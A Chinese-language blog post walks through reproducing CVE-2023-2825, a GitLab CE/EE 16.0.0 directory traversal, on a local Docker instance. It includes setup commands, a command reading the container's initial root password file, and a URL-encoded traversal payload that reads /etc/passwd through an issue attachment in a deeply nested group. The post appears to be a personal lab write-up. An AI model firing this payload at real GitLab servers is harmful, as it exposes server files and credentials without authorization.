Gitlab目录遍历漏洞复现(CVE-2023-2825)


【产品介绍】

Gitlab是目前被广泛使用基于git的开源代码管理平台,基于ruby on rails构建,主要针对软件开发过程中产生的代码和文档进行管理,同时可以搭建web服务。其实我理解这个产品和我们的github近似。

【漏洞描述】

Gitlab存在目录遍历漏洞,当嵌套在至少五个组中的公共项目中存在附件时,未经身份验证的恶意用户可以利用该漏洞读取服务器上的任意文件。

【影响范围】

Gitlab CE 16.0.0

Gitlab EE 16.0.0

【复现环境】

1、Docker搭建gitLab CE 16.0.0

【拉取镜像】

1
docker pull gitlab/gitlab-ce:16.0.0-ce.0

【创建并开启容器】

1
docker run -p 80:80 -d gitlab/gitlab-ce:16.0.0-ce.0

查看一下咱们的这个地址是啥

访问看看能否正常访问

接下来,我们需要查看任务id是什么,我们后面会用到id号查询Gitlab的账号和密码

1
docker ps -a  

查看root密码

1
docker exec -it f1fa5580d7c0 /bin/bash
1
cat /etc/gitlab/initial_root_password

赶紧用小本本写下来

下面登录我们的Gitlab,输入我们刚刚写的密码

登录成功,创建组

首先我们创建一个组,然后再创建多层子目录

创建一个文件

随意创建一个空项目

创建一个issue,并记录路径

因为777不爱加班,所以前后数据有点对不上,开启重新走了一遍流程,我们接着下面继续

【创建一个issue】

【注意!!!】

前面吃了没有文化的亏,还懒。这个创建目录的时候,手要勤快一点,多建立几层,买不了吃亏,买不了上当

【复制链接】

这是咱们刚issue创建处的文件喔

【拼接地址】

可以读到附件中的内容哈

【构造payload】

1
/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

费了九牛二虎之力,终于学废了。


文章作者: 777
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 777 !